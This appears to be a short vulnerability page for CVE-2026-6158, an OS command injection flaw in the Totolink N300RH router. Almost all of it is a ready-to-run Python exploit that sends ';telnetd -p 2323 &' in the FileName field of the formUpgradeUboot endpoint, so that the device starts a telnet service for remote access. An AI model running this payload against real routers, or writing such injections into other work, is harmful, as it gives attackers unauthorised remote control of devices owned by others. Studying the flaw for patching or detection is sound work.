CVE-2026-6158 Totolink N300RH操作系统命令注入漏洞

import requests # Target URL (Example based on vulnerability description) target_url = "http://<TARGET_IP>/boaform/formUpgradeUboot" # Malicious payload to inject command (e.g., telnetd or reboot) # The vulnerability is in the 'FileName' parameter payload = ";telnetd -p 2323 &" data = { "FileName": payload } try: response = requests.post(target_url, data=data, timeout=5) print(f"Status Code: {response.status_code}") print("Payload sent. Check if telnet started on port 2323.") except Exception as e: print(f"Error: {e}")